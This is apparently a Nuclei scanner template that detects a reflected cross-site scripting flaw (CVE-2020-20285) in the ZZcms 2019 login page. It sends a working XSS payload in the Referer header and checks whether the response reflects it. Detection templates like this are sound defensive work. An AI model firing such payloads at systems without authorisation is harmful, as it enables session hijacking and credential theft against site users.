id: CVE-2020-20285

info:
  name: ZZcms - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/iohex/ZZCMS/blob/master/zzcms2019_login_xss.md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20285
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-20285
    cwe-id: CWE-79
    epss-score: 0.01552
    epss-percentile: 0.71873
    cpe: cpe:2.3:a:zzcms:zzcms:2019:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zzcms
    product: zzcms
    fofa-query: zzcms
  tags: cve2020,cve,zzcms,xss,vuln

http:
  - raw:
      - |
        GET /user/login.php HTTP/1.1
        Host: {{Hostname}}
        Referer: xss"/><img src="#" onerror="alert(document.domain)"/>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'fromurl" type="hidden" value="xss"/><img src="#" onerror="alert(document.domain)"/>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203d9926834890809db936ccaa282e92f1267ef91b5fba4f7fc168765d9c7c4e83022100da11cfa3efcf8f39090da929893224eab852aaaee49c6ef235ed4504777f8055:922c64590222798bb761d5b6d8e72950